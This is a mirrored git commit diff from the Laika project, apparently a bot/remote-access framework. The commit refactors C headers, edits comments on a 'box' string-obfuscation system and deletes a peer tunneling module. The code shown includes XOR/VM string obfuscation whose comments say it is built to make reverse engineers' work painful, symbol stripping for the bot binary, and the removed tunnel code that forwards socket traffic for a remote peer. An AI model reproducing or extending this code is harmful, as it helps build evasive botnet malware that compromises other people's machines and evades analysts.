mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-24 13:31:05 +00:00
misc. refactoring, updated comments and minor documentation
This commit is contained in:
parent
e3a1f51d60
commit
c4fc1a1fe6
@ -30,7 +30,7 @@ target_compile_definitions(LaikaBot PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
|
|||||||
# add include directory
|
# add include directory
|
||||||
target_include_directories(LaikaBot PUBLIC ${BOT_INCLUDEDIR})
|
target_include_directories(LaikaBot PUBLIC ${BOT_INCLUDEDIR})
|
||||||
|
|
||||||
# strip symbols for POSIX-like binaries
|
# strip symbols for UNIX binaries
|
||||||
if((UNIX AND NOT APPLE) AND NOT RAWCMAKEBUILDTYPE STREQUAL "debug")
|
if((UNIX AND NOT APPLE) AND NOT RAWCMAKEBUILDTYPE STREQUAL "debug")
|
||||||
message(STATUS "Stripping LaikaBot symbols...")
|
message(STATUS "Stripping LaikaBot symbols...")
|
||||||
target_link_options(LaikaBot PRIVATE -s)
|
target_link_options(LaikaBot PRIVATE -s)
|
||||||
|
@ -1,8 +1 @@
|
|||||||
There are some unused features and boilerplate. The unused files include:
|
-- stubbed, see CONTRIBUTING.md for notes on the library
|
||||||
- ltunnel.h
|
|
||||||
- ltunnel.c
|
|
||||||
- lbox.h
|
|
||||||
- lvm.h
|
|
||||||
- lvm.c
|
|
||||||
|
|
||||||
These files can be safely removed from the library.
|
|
@ -25,10 +25,11 @@ enum {
|
|||||||
2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to make it more painful
|
2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to make it more painful
|
||||||
for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable.
|
for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable.
|
||||||
Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string
|
Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string
|
||||||
dumping. Some predefined boxes are made for you to use.
|
dumping. These apis, while can be used directly, are abstracted through macros with the pre-built boxes.
|
||||||
|
|
||||||
Use LAIKA_BOX_STARTVAR & LAIKA_BOX_ENDVAR for quick and dirty usage. The data macros in `lboxconfig.h` are passed
|
Use LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END for quick and dirty usage. The data macros in `lboxconfig.h` are passed
|
||||||
to these, which are generated by VMBoxGen (`tools/vmboxgen`).
|
to these, which are generated by VMBoxGen (`tools/vmboxgen`). This will be extended in the future with more boxes and such,
|
||||||
|
however for the time being only LAIKA_BOX_SKID_* is implemented.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
struct sLaikaB_box {
|
struct sLaikaB_box {
|
||||||
@ -62,7 +63,7 @@ struct sLaikaB_box {
|
|||||||
|
|
||||||
/* ==============================================[[ Laika Boxes ]]=============================================== */
|
/* ==============================================[[ Laika Boxes ]]=============================================== */
|
||||||
|
|
||||||
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol [SEE tools/vmtest/src/main.c] */
|
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
|
||||||
#define LAIKA_BOX_SKID(_key) { \
|
#define LAIKA_BOX_SKID(_key) { \
|
||||||
.unlockedData = {0}, /* reserved */ \
|
.unlockedData = {0}, /* reserved */ \
|
||||||
.code = { /* stack layout: \
|
.code = { /* stack layout: \
|
||||||
@ -110,7 +111,7 @@ LAIKA_FORCEINLINE void* laikaB_lock(struct sLaikaB_box *box) {
|
|||||||
sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE);
|
sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE);
|
||||||
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
|
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
|
||||||
}
|
}
|
||||||
|
/* include KEY_* & DATA_* macros for each obfuscated string */
|
||||||
#include "lboxconfig.h"
|
#include "lboxconfig.h"
|
||||||
|
|
||||||
#endif
|
#endif
|
@ -21,13 +21,13 @@ typedef enum {
|
|||||||
} OSTYPE;
|
} OSTYPE;
|
||||||
|
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
#define LAIKA_OSTYPE OS_WIN
|
# define LAIKA_OSTYPE OS_WIN
|
||||||
#else
|
#else
|
||||||
#ifdef __linux__
|
# ifdef __linux__
|
||||||
#define LAIKA_OSTYPE OS_LIN
|
# define LAIKA_OSTYPE OS_LIN
|
||||||
#else
|
# else
|
||||||
#define LAIKA_OSTYPE OS_UNKNWN
|
# define LAIKA_OSTYPE OS_UNKNWN
|
||||||
#endif
|
# endif
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
struct sLaika_peer;
|
struct sLaika_peer;
|
||||||
@ -39,7 +39,6 @@ struct sLaika_peerPacketInfo {
|
|||||||
bool variadic;
|
bool variadic;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) [ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC}
|
#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) [ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC}
|
||||||
|
|
||||||
struct sLaika_peer {
|
struct sLaika_peer {
|
||||||
|
@ -4,49 +4,49 @@
|
|||||||
/* socket/winsock headers */
|
/* socket/winsock headers */
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
/* windows */
|
/* windows */
|
||||||
#ifndef NOMINMAX
|
# ifndef NOMINMAX
|
||||||
#define NOMINMAX
|
# define NOMINMAX
|
||||||
#endif
|
# endif
|
||||||
#define _WINSOCK_DEPRECATED_NO_WARNINGS
|
# define _WINSOCK_DEPRECATED_NO_WARNINGS
|
||||||
#include <winsock2.h>
|
# include <winsock2.h>
|
||||||
#include <windows.h>
|
# include <windows.h>
|
||||||
#include <ws2tcpip.h>
|
# include <ws2tcpip.h>
|
||||||
#pragma comment(lib, "Ws2_32.lib")
|
# pragma comment(lib, "Ws2_32.lib")
|
||||||
|
|
||||||
typedef char buffer_t;
|
typedef char buffer_t;
|
||||||
#define PollFD WSAPOLLFD
|
# define PollFD WSAPOLLFD
|
||||||
#define poll WSAPoll
|
# define poll WSAPoll
|
||||||
#define LN_ERRNO WSAGetLastError()
|
# define LN_ERRNO WSAGetLastError()
|
||||||
#define LN_EWOULD WSAEWOULDBLOCK
|
# define LN_EWOULD WSAEWOULDBLOCK
|
||||||
#define LN_MSG_NOSIGNAL 0
|
# define LN_MSG_NOSIGNAL 0
|
||||||
#define SOCKETINVALID(x) (x == INVALID_SOCKET)
|
# define SOCKETINVALID(x) (x == INVALID_SOCKET)
|
||||||
#define SOCKETERROR(x) (x == SOCKET_ERROR)
|
# define SOCKETERROR(x) (x == SOCKET_ERROR)
|
||||||
#else
|
#else
|
||||||
/* posix platform */
|
/* posix platform */
|
||||||
#include <sys/types.h>
|
# include <sys/types.h>
|
||||||
#include <sys/socket.h>
|
# include <sys/socket.h>
|
||||||
#include <netdb.h>
|
# include <netdb.h>
|
||||||
#include <netinet/in.h>
|
# include <netinet/in.h>
|
||||||
#include <arpa/inet.h>
|
# include <arpa/inet.h>
|
||||||
#include <poll.h>
|
# include <poll.h>
|
||||||
#ifdef __linux__
|
# ifdef __linux__
|
||||||
#include <sys/epoll.h>
|
# include <sys/epoll.h>
|
||||||
/* max events for epoll() */
|
/* max events for epoll() */
|
||||||
#define MAX_EPOLL_EVENTS 128
|
# define MAX_EPOLL_EVENTS 128
|
||||||
#define LAIKA_USE_EPOLL
|
# define LAIKA_USE_EPOLL
|
||||||
#endif
|
# endif
|
||||||
#include <unistd.h>
|
# include <unistd.h>
|
||||||
#include <errno.h>
|
# include <errno.h>
|
||||||
|
|
||||||
typedef int SOCKET;
|
typedef int SOCKET;
|
||||||
typedef void buffer_t;
|
typedef void buffer_t;
|
||||||
#define PollFD struct pollfd
|
# define PollFD struct pollfd
|
||||||
#define LN_ERRNO errno
|
# define LN_ERRNO errno
|
||||||
#define LN_EWOULD EWOULDBLOCK
|
# define LN_EWOULD EWOULDBLOCK
|
||||||
#define LN_MSG_NOSIGNAL MSG_NOSIGNAL
|
# define LN_MSG_NOSIGNAL MSG_NOSIGNAL
|
||||||
#define INVALID_SOCKET -1
|
# define INVALID_SOCKET -1
|
||||||
#define SOCKETINVALID(x) (x < 0)
|
# define SOCKETINVALID(x) (x < 0)
|
||||||
#define SOCKETERROR(x) (x == -1)
|
# define SOCKETERROR(x) (x == -1)
|
||||||
#endif
|
#endif
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
|
@ -1,34 +0,0 @@
|
|||||||
#ifndef SHELLTUNNEL_H
|
|
||||||
#define SHELLTUNNEL_H
|
|
||||||
|
|
||||||
#include <inttypes.h>
|
|
||||||
|
|
||||||
#include "lmem.h"
|
|
||||||
#include "lsocket.h"
|
|
||||||
#include "lpeer.h"
|
|
||||||
#include "lpolllist.h"
|
|
||||||
|
|
||||||
struct sLaika_tunnel;
|
|
||||||
struct sLaika_tunnelConnection {
|
|
||||||
struct sLaika_socket sock;
|
|
||||||
struct sLaika_tunnel *tunnel;
|
|
||||||
struct sLaika_tunnelConnection *next;
|
|
||||||
uint16_t id;
|
|
||||||
};
|
|
||||||
|
|
||||||
struct sLaika_tunnel {
|
|
||||||
struct sLaika_tunnelConnection *connectionHead;
|
|
||||||
struct sLaika_peer *peer;
|
|
||||||
uint16_t port;
|
|
||||||
};
|
|
||||||
|
|
||||||
struct sLaika_tunnel *laikaT_newTunnel(struct sLaika_peer *peer, uint16_t port);
|
|
||||||
void laikaT_freeTunnel(struct sLaika_tunnel *tunnel);
|
|
||||||
|
|
||||||
struct sLaika_tunnelConnection *laikaT_newConnection(struct sLaika_tunnel *tunnel, uint16_t id);
|
|
||||||
void laikaT_freeConnection(struct sLaika_tunnelConnection *connection);
|
|
||||||
|
|
||||||
void laikaT_forwardData(struct sLaika_tunnelConnection *connection, struct sLaika_pollList *pList, void *data, size_t sz);
|
|
||||||
struct sLaika_tunnelConnection *laikaT_getConnection(struct sLaika_tunnel *tunnel, uint16_t id);
|
|
||||||
|
|
||||||
#endif
|
|
@ -1,170 +0,0 @@
|
|||||||
#include "lmem.h"
|
|
||||||
#include "lpeer.h"
|
|
||||||
#include "lpacket.h"
|
|
||||||
#include "lpolllist.h"
|
|
||||||
#include "ltunnel.h"
|
|
||||||
|
|
||||||
struct sLaika_tunnel *laikaT_newTunnel(struct sLaika_peer *peer, uint16_t port) {
|
|
||||||
struct sLaika_tunnel *tunnel = (struct sLaika_tunnel*)laikaM_malloc(sizeof(struct sLaika_tunnel));
|
|
||||||
|
|
||||||
tunnel->port = port;
|
|
||||||
tunnel->peer = peer;
|
|
||||||
tunnel->connectionHead = NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
void laikaT_freeTunnel(struct sLaika_tunnel *tunnel) {
|
|
||||||
struct sLaika_tunnelConnection *con = tunnel->connectionHead, *last;
|
|
||||||
struct sLaika_socket *sock = &tunnel->peer->sock;
|
|
||||||
|
|
||||||
/* free & close connections */
|
|
||||||
while (con != NULL) {
|
|
||||||
last = con;
|
|
||||||
con = con->next;
|
|
||||||
|
|
||||||
/* free connection */
|
|
||||||
laikaT_freeConnection(last);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* tell peer tunnel is closed */
|
|
||||||
laikaS_startOutPacket(tunnel->peer, LAIKAPKT_TUNNEL_CLOSE);
|
|
||||||
laikaS_writeInt(sock, &tunnel->port, sizeof(uint16_t));
|
|
||||||
laikaS_endOutPacket(tunnel->peer);
|
|
||||||
|
|
||||||
/* finally, free the tunnel */
|
|
||||||
laikaM_free(tunnel);
|
|
||||||
}
|
|
||||||
|
|
||||||
bool laikaT_handlePeerIn(struct sLaika_socket *sock) {
|
|
||||||
struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock;
|
|
||||||
struct sLaika_tunnel *tunnel = con->tunnel;
|
|
||||||
struct sLaika_peer *peer = tunnel->peer;
|
|
||||||
int recvd;
|
|
||||||
|
|
||||||
/* read data */
|
|
||||||
switch (laikaS_rawRecv(&con->sock, LAIKA_MAX_PKTSIZE - (sizeof(uint16_t) + sizeof(uint16_t)), &recvd)) { /* - 4 since we need room in the packet for the id & port */
|
|
||||||
case RAWSOCK_OK: /* we're ok! forward data to peer */
|
|
||||||
laikaS_startVarPacket(peer, LAIKAPKT_TUNNEL_CONNECTION_DATA);
|
|
||||||
laikaS_writeInt(&peer->sock, &tunnel->port, sizeof(uint16_t));
|
|
||||||
laikaS_writeInt(&peer->sock, &con->id, sizeof(uint16_t));
|
|
||||||
|
|
||||||
/* write data we just read, from sock's inBuf to sock's out */
|
|
||||||
laikaS_write(&peer->sock, (void*)peer->sock.inBuf, recvd);
|
|
||||||
laikaS_consumeRead(&peer->sock, recvd);
|
|
||||||
|
|
||||||
/* end variadic packet */
|
|
||||||
laikaS_endVarPacket(peer);
|
|
||||||
default: /* panic! */
|
|
||||||
case RAWSOCK_CLOSED:
|
|
||||||
case RAWSOCK_ERROR:
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
bool laikaT_handlePeerOut(struct sLaika_socket *sock) {
|
|
||||||
struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock;
|
|
||||||
struct sLaika_peer *peer = con->tunnel->peer;
|
|
||||||
int sent;
|
|
||||||
|
|
||||||
if (peer->sock.outCount == 0) /* sanity check */
|
|
||||||
return true;
|
|
||||||
|
|
||||||
switch (laikaS_rawSend(&con->sock, con->sock.outCount, &sent)) {
|
|
||||||
case RAWSOCK_OK: /* we're ok! */
|
|
||||||
/* if POLLOUT was set, unset it */
|
|
||||||
laikaP_rmvPollOut(peer->pList, &con->sock);
|
|
||||||
|
|
||||||
return true;
|
|
||||||
case RAWSOCK_POLL: /* we've been asked to set the POLLOUT flag */
|
|
||||||
/* if POLLOUT wasn't set, set it so we'll be notified whenever the kernel has room :) */
|
|
||||||
laikaP_addPollOut(peer->pList, &con->sock);
|
|
||||||
|
|
||||||
return true;
|
|
||||||
default: /* panic! */
|
|
||||||
case RAWSOCK_CLOSED:
|
|
||||||
case RAWSOCK_ERROR:
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
void laikaT_onPollFail(struct sLaika_socket *sock, void *uData) {
|
|
||||||
struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock;
|
|
||||||
|
|
||||||
/* kill connection on failure */
|
|
||||||
laikaT_freeConnection(con);
|
|
||||||
}
|
|
||||||
|
|
||||||
struct sLaika_tunnelConnection *laikaT_newConnection(struct sLaika_tunnel *tunnel, uint16_t id) {
|
|
||||||
struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)laikaM_malloc(sizeof(struct sLaika_tunnelConnection)), *last = NULL;
|
|
||||||
|
|
||||||
/* we handle the socket events */
|
|
||||||
laikaS_initSocket(&con->sock,
|
|
||||||
laikaT_handlePeerIn,
|
|
||||||
laikaT_handlePeerOut,
|
|
||||||
laikaT_onPollFail,
|
|
||||||
NULL
|
|
||||||
);
|
|
||||||
|
|
||||||
laikaS_setNonBlock(&con->sock);
|
|
||||||
|
|
||||||
con->tunnel = tunnel;
|
|
||||||
con->next = NULL;
|
|
||||||
con->id = id;
|
|
||||||
|
|
||||||
/* insert into connection list */
|
|
||||||
if (tunnel->connectionHead == NULL) {
|
|
||||||
tunnel->connectionHead = con;
|
|
||||||
return con;
|
|
||||||
} else {
|
|
||||||
last = tunnel->connectionHead;
|
|
||||||
tunnel->connectionHead = con;
|
|
||||||
con->next = last;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void laikaT_freeConnection(struct sLaika_tunnelConnection *connection) {
|
|
||||||
struct sLaika_tunnel *tunnel = connection->tunnel;
|
|
||||||
struct sLaika_tunnelConnection *curr, *last = NULL;
|
|
||||||
|
|
||||||
curr = tunnel->connectionHead;
|
|
||||||
/* while we haven't reached the end of the list & we haven't found our connection */
|
|
||||||
while (curr && curr != connection) {
|
|
||||||
last = curr;
|
|
||||||
curr = curr->next;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (last) {
|
|
||||||
/* unlink from list */
|
|
||||||
last->next = connection->next;
|
|
||||||
} else { /* connectionHead was NULL, or connection *was* the connectionHead. */
|
|
||||||
tunnel->connectionHead = connection->next;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* tell peer connection is removed */
|
|
||||||
laikaS_startOutPacket(tunnel->peer, LAIKAPKT_TUNNEL_CONNECTION_RMV);
|
|
||||||
laikaS_writeInt(&tunnel->peer->sock, &tunnel->port, sizeof(uint16_t));
|
|
||||||
laikaS_writeInt(&tunnel->peer->sock, &connection->id, sizeof(uint16_t));
|
|
||||||
laikaS_endOutPacket(tunnel->peer);
|
|
||||||
|
|
||||||
/* finally, free our connection */
|
|
||||||
laikaS_kill(&connection->sock);
|
|
||||||
}
|
|
||||||
|
|
||||||
void laikaT_forwardData(struct sLaika_tunnelConnection *connection, struct sLaika_pollList *pList, void *data, size_t sz) {
|
|
||||||
struct sLaika_tunnel *tunnel = connection->tunnel;
|
|
||||||
|
|
||||||
/* write data to socket, push to pollList's out queue */
|
|
||||||
laikaS_write(&connection->sock, data, sz);
|
|
||||||
laikaP_pushOutQueue(pList, &connection->sock);
|
|
||||||
}
|
|
||||||
|
|
||||||
struct sLaika_tunnelConnection *laikaT_getConnection(struct sLaika_tunnel *tunnel, uint16_t id) {
|
|
||||||
struct sLaika_tunnelConnection *curr = tunnel->connectionHead;
|
|
||||||
|
|
||||||
/* search for the id in the linked list. curr->next is guaranteed to be NULL at the end of the list */
|
|
||||||
while (curr && curr->id != id)
|
|
||||||
curr = curr->next;
|
|
||||||
|
|
||||||
/* returns NULL if not found, or the found connection :) */
|
|
||||||
return curr;
|
|
||||||
}
|
|
Loading…
Reference in New Issue
Block a user